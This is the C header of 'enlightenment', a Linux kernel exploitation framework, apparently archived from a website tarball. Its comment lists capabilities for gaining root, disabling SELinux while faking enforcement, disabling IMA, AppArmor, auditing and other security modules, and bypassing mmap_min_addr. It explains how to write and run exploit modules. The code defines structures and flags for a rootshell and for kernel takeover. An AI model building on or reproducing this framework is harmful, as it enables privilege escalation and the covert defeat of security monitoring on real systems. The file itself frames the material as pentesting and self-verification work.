home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_framework.h < prev    next >
C/C++ Source or Header  |  2009-12-10  |  4KB  |  111 lines

  1. /* enlightenment 200912092327
  2.  
  3.    enlightenment is an exploitation framework mostly geared towards the 
  4.    exploitation of null ptr dereference bugs, though its routines are 
  5.    applicable to overflows and other bugclasses as well.  It's a public 
  6.    demonstration of the capabilities of kernel exploits, useful for 
  7.    commercial pentesting or verifying the security of your own systems.
  8.  
  9.    enlightenment supports:
  10.      all kernels 2.4 and 2.6 (both x86 and x64)
  11.      setting *uid/*gid 0
  12.      clearing supplementary groups
  13.      raising to full capabilities
  14.        pre and post cred structures
  15.      cloning of init's cred structure (when no cred symbols are present)
  16.      CONFIG_DEBUG_RODATA bypass (both old and new versions)
  17.      xen hypercalls for .text modification on new DEBUG_RODATA under Xen
  18.      SELinux execmod/execmem bypassing
  19.      SELinux disabling (and faking continued enforcement)
  20.        even if the toggling variable has no generated symbol
  21.      IMA disabling (rendering its TPM-based integrity checks worthless)
  22.      Apparmor disabling
  23.      Auditing disabling
  24.      Tomoyo disabling
  25.      generic LSM disabling
  26.      all public methods of bypassing mmap_min_addr
  27.      pearls of wisdom from some of the greatest writers and thinkers of 
  28.      the past couple centuries :)
  29.  
  30.    To create your own exploit module for enlightenment, just name it
  31.    exp_whatever.c
  32.    It will be auto-compiled by the shell script and thrown into
  33.    the list of loaded exploit modules
  34.  
  35.    if you want to use the list of non-NULL exploits:
  36.      ./run_nonnull_exploits.sh
  37.    if you want to run the list of NULL ptr deref exploits:
  38.      ./run_null_exploits.sh
  39.  
  40.    Each module must have the following features:
  41.    It must include this header file, exp_framework.h
  42.    A description of the exploit, the variable being named "desc"
  43.    A "prepare" function: int prepare(unsigned char *ptr)
  44.      where ptr is the ptr to the NULL mapping, which you are able to write to
  45.      This function can return the flags described below for prepare_the_exploit
  46.      Return 0 for failure otherwise
  47.    A "trigger" function: int trigger(void)
  48.      Return 0 for failure, nonzero for success
  49.    A "post" function: int post(void)
  50.      This function can return the flags described below for post_exploit
  51.    A "requires_null_page" int: int requires_null_page;
  52.      This should be 1 if a NULL page needs to be mapped, and 0 otherwise
  53.      (if you want to use the framework to exploit non-NULL ptr bugs)
  54.    A "get_exploit_state_ptr" function:
  55.      int get_exploit_state_ptr(struct exploit_state *ptr)
  56.      Generally this will always be implemented as:
  57.      struct *exp_state;
  58.      int get_exploit_state_ptr(struct exploit_state *ptr)
  59.      {
  60.         exp_state = ptr;
  61.         return 0;
  62.      }
  63.      It gives you access to the exploit_state structure listed below,
  64.      get_kernel_sym allows you to resolve symbols
  65.      own_the_kernel is the function that takes control of the kernel
  66.       (in case you need its address to set up your buffer)
  67.      the other variables describe the exploit environment, so you can
  68.      for instance, loop through a number of vulnerable socket domains
  69.      until you detect ring0 execution has occurred.
  70.  
  71.    That's it!
  72. */
  73.  
  74.  
  75. /* defines for prepare_the_exploit */
  76.  /* for null fptr derefs */
  77. #define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
  78.  /* for overflows */
  79. #define EXIT_KERNEL_TO_NULL 0x31336
  80.  
  81. #define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
  82.  
  83. /* defines for post_exploit */
  84. #define RUN_ROOTSHELL 0x5150
  85. #define CHMOD_SHELL 0x5151
  86. #define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
  87.  
  88. typedef unsigned long (*_get_kernel_sym)(char *name);
  89.  
  90. struct exploit_state {
  91.     _get_kernel_sym get_kernel_sym;
  92.     void *own_the_kernel;
  93.     void *exit_kernel;
  94.     char *exit_stack;
  95.     int run_from_main;
  96.     int got_ring0;
  97.     int got_root;
  98. };
  99.  
  100. #define EFL_RESERVED1 (1 << 1)
  101. #define EFL_PARITY (1 << 2)
  102. #define EFL_ZEROFLAG (1 << 6)
  103. #define EFL_INTERRUPTENABLE (1 << 9)
  104. #define EFL_IOPL3 ((1 << 12) | (1 << 13))
  105.  
  106. #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
  107. /* for insta-iopl 3, for whatever reason!
  108.    #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
  109. */
  110.  
  111.